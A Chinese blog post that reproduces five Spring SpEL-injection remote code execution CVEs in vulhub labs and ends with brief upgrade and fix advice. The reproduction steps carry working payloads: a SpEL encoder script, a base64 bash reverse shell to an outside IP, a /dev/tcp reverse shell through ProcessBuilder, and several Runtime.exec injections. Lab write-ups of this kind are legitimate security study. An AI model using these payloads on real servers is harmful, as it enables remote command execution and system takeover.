Spring框架漏洞复现大杂烩!!!

Spring框架漏洞复现大杂烩!!!

  • 寻了半生的春天 你一笑 便是了

总体概述:

  • Spring是一个开源框架,核心是控制反转(IoC)和面向切面(AOP)。简单来说,Spring是一个分层的JavaSE/EE full-stack(一站式) 轻量级开源框架。简单说就是创建对象由以前的程序员自己new 构造方法来调用,变成交由Spring来创建对象 。类比Struts 2框架绝大部分的安全漏洞都都是由于OGNL,而自从sping引入SpEL,也引起很多安全漏洞,什么事都是有利即有弊。
  • 本次主要针对以下几个漏洞进行复现(vulhub一键搭建),主要还是由于SpEL表达式而产生的漏洞,攻击者可以注入恶意SpEL表达式以执行任意命令。

漏洞版本

  • Spring Security OAuth2 远程命令执行漏洞(CVE-2016-4977)
	Spring Security OAuth 2.0 – 2.0.9
	Spring Security OAuth 1.0 – 1.0.5
  • Spring WebFlow 远程代码执行漏洞(CVE-2017-4971)
	Spring Web Flow 2.4.0-2.4.4
  • Spring Data Rest 远程命令执行漏洞(CVE-2017-8046)

    Spring Data REST versions < 2.5.12, 2.6.7, 3.0 RC3
    Spring Boot version < 2.0.0M4
    Spring Data release trains < Kay-RC3

  • Spring Messaging 远程命令执行漏洞(CVE-2018-1270)

    Spring Framework 5.0 -5.0.4
    Spring Framework 4.3 - 4.3.14

  • Spring Data Commons 远程命令执行漏洞(CVE-2018-1273)
	Spring Data Commons 1.13 - 1.13.10
	Spring Data Commons 2.0 - 2.0.5

漏洞概况:

  • Spring Security OAuth是为Spring框架提供安全认证支持的一个模块,主要分为授权服务 Authorization Service.资源服务 Resource Service.这次漏洞主要是由用户使用Whitelabel views来处理错误时,攻击者在被授权的情况下可以通过构造恶意 SpEL表达式来远程执行命令。

  • Spring WebFlow构建于Spring MVC之上,允许实现Web应用程序的“流程”。流程封装了一系列步骤,指导用户执行某些业务任务。 它的最佳位置是具有受控导航功能的有状态Web应用程序,例如购物逻辑,向表单添加确认步骤等。如果我们控制了数据绑定时的field,构造恶意 SpEL表达式来远程执行命令。

  • Spring Data是对数据访问的更高抽象。通过它,开发者进一步从数据层解放出来,更专注于业务逻辑。Spring Data REST是一个构建在Spring Data之上,为了帮助开发者更加容易地开发REST风格的Web服务。在REST API的Patch方法中,path的值被传入setValue,导致执行了恶意SpEL表达式,触发远程命令执行漏洞。

  • spring messaging为spring框架提供消息支持,其上层协议是STOMP,底层通信基于SockJS,
    用STOMP协议将数据组合成一个文本流,简单来说用sockjs协议发送文本流,sockjs会选择一个合适的通道:websocket(NEW)或ajax(OLD)进与后端通信。由于selector用SpEL表达式编写,并使用StandardEvaluationContext解析(权限太大),造成命令执行漏洞。

  • Spring Data是一个用于简化数据库访问,并支持云服务的开源框架,Spring Data Commons有一个重要概念:Spring Data Repository抽象。使用Spring Data Repository可以极大地减少数据访问层的代码。当用户在项目中利用了Spring-data的相关web特性对用户的输入参数进行自动匹配的时候,会将用户提交的form表单的key值作为SpEL表达式进行注入,攻击者可以注入恶意SpEL表达式以执行任意命令。

漏洞复现:

  • Spring Security OAuth2 远程命令执行漏洞(CVE-2016-4977)
    漏洞这两都可以触发:
    oauth/authorize?response_type=${2*2}&client_id=acme&scope=openid&redirect_uri=http://test
    在这里插入图片描述
    oauth/authorize?response_type=token&client_id=acme&redirect_uri=${2*2}
    在这里插入图片描述
    然后生成反弹shell的POC,需要把反弹shell语句转化为SpEL语句
#!/usr/bin/env python

message = input('Enter message to encode:')

poc = '${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(%s)' % ord(message[0])

for ch in message[1:]:
   poc += '.concat(T(java.lang.Character).toString(%s))' % ord(ch) 

poc += ')}'

print(poc)
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTAyLzg4ODggMD4mMQo=}|{base64,-d}|{bash,-i}

poc之后生成SpEL表达式,带入表达式即可成功getshell。

在这里插入图片描述

  • Spring WebFlow 远程代码执行漏洞(CVE-2017-4971)
    在spring-webflow官方给的简单示例中,订购酒店,然后填写信息后点击“Process”(从这开始,WebFlow就已运行)
    在这里插入图片描述

    然后在点击"confirm",之后抓包,添加反弹shell参数,返回500,即可成功getshell

_(new java.lang.ProcessBuilder("bash","-c","bash -i >& /dev/tcp/ip/端口 0>&1")).start()=hellowrod(要url编码,因为有特殊符号)

在这里插入图片描述

  • Spring Data Rest 远程命令执行漏洞(CVE-2017-8046)

    首先注意几点:
    1.Content-Type:application/json-patch+json
    2.请求数据必须是json数组
    3.JSON Patch方法提交的数据必须包含一个path成员,用于定位数据,同时还必须包含op成员,可选值如下:

    op含义
    add添加数据
    remove删除
    replace修改
    move移动
    copy拷贝
    test测试给定数据与指定位置数据是否相等

    对于上面添加的Person数据,外面可以修改其lastName属性,请求数据如下:
    [{ "op": "replace", "path": "/lastName", "value": "hellocat" }]
    然后构造payload,path的值是SpEL表达式,

[{ "op": "replace", "path": "T(spel表达式)/lastname", "value": "hellocat" }]

抓包修改OPTIONS,查看接受类型和允许的请求方法。

在这里插入图片描述
把patch换成反弹shell语句,即可成功getshell。
在这里插入图片描述

  • Spring Messaging 远程命令执行漏洞(CVE-2018-1270)
    搭建:git clone https://github.com/spring-guides/gs-messaging-stomp-websocket
    cd complete
    ./mvnw spring-boot:run
    搭建成功,然后开启connect,然后抓包添加payload\nselector:new java.lang.ProcessBuilder("touch /tmp/sucesss").start()即可,然后即可成功执行命令
    在这里插入图片描述

  • Spring Data Commons 远程命令执行漏洞(CVE-2018-1273)
    首先在登入页面抓包,发送repeater
    在这里插入图片描述

payload:username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/success")]=

然后修改username,进行修改payload数据发送,可以看见成功执行命令。
在这里插入图片描述

漏洞修复:

  • Spring Security OAuth2 远程命令执行漏洞(CVE-2016-4977)
    1.禁用生产环境中的Whitelabel错误页
    2.升级+++

  • Spring WebFlow 远程代码执行漏洞(CVE-2017-4971)
    1.建议在视图状态中始终使用显式数据绑定声明, 以防止表单提交在不应设置的目标对象上可以任意设置字段。
    2.升级+++

  • Spring Data Rest 远程命令执行漏洞(CVE-2017-8046)
    升级+++

  • Spring Messaging 远程命令执行漏洞(CVE-2018-1270)
    升级+++

  • Spring Data Commons 远程命令执行漏洞(CVE-2018-1273)
    升级+++

    萌新一枚,余生很长,请多指教。
    在这里插入图片描述

  • 12
    点赞
  • 35
    收藏
    觉得还不错? 一键收藏
  • 3
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值